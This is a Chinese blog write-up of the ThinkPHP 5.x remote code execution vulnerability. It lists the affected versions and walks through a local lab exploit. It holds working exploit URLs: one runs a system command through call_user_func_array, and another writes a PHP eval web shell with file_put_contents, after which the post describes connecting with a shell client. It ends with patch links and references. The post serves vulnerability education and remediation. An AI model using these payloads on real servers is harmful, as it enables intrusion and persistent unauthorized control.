• ThinkPHP远程代码执行漏洞


    ThinkPHP是一个快速、简单的基于MVC和面向对象的轻量级PHP开发框架。

    Thinkphp5.x版本中存在一个严重的远程代码执行漏洞。这个漏洞的主要原因是由于框架对控制器名没有进行足够的校验导致在没有开启强制路由的情况下可以构造恶意语句执行远程命令

    影响范围

    Thinkphp 5.1.0 - 5.1.31

    Thinkphp 5.0.5 - 5.0.23

    漏洞利用

    环境介绍:

    thinkphp5.0.22+php5.4.45+ apache2.4.23

    1.首先搭建好相应的环境,页面访问如下:

    2.当看到框架为thinkphp5.x时,我们需要的就是验证是否存在远程代码执行漏洞

    http:// localhost/public/index.php?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir

    3.确认此处存在远程代码执行后,写入shell

    http:// localhost/public/index.php?s =index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php eval(@$_POST['a']); ?>


    4.尝试用菜刀进行连接,连接成功

    当然这里我们也可以选择直接上传大马

    相比手工,我们也可以选择工具直接getshell都是可以的

    修复建议
    1、打补丁:
    Thinkphp v5.0.x补丁地址:
    https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f
    Thinkphp v5.1.x补丁地址:
    https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815
    2、更新框架版本

    参考链接

    exploit地址:

    https://www.exploit-db.com/exploits/45978

    框架下载地址:

    http://www.thinkphp.cn/donate/download/id/1125.html

    docker漏洞环境源码:

    https://github.com/vulnspy/thinkphp-5.1.29

    https://www.gendan5.com

  • 相关阅读:
    light-rtc: 理念与实践
    浅谈 WebRTC 的 Audio 在进入 Encoder 之前的处理流程
    倍频程与钢琴调式的距离
    实战排查|为什么遮挡推流摄像头,会导致播放绿屏?
    深入浅出 WebRTC AEC(声学回声消除)
    揭秘 VMAF 视频质量评测标准
    绕过CDN查找真实IP方法笔记
    Linux安全加固
    Windows安全加固
    常见端口渗透总结
  • 原文地址:https://www.cnblogs.com/gendan5/p/11511611.html
Copyright © 2020-2023  润新知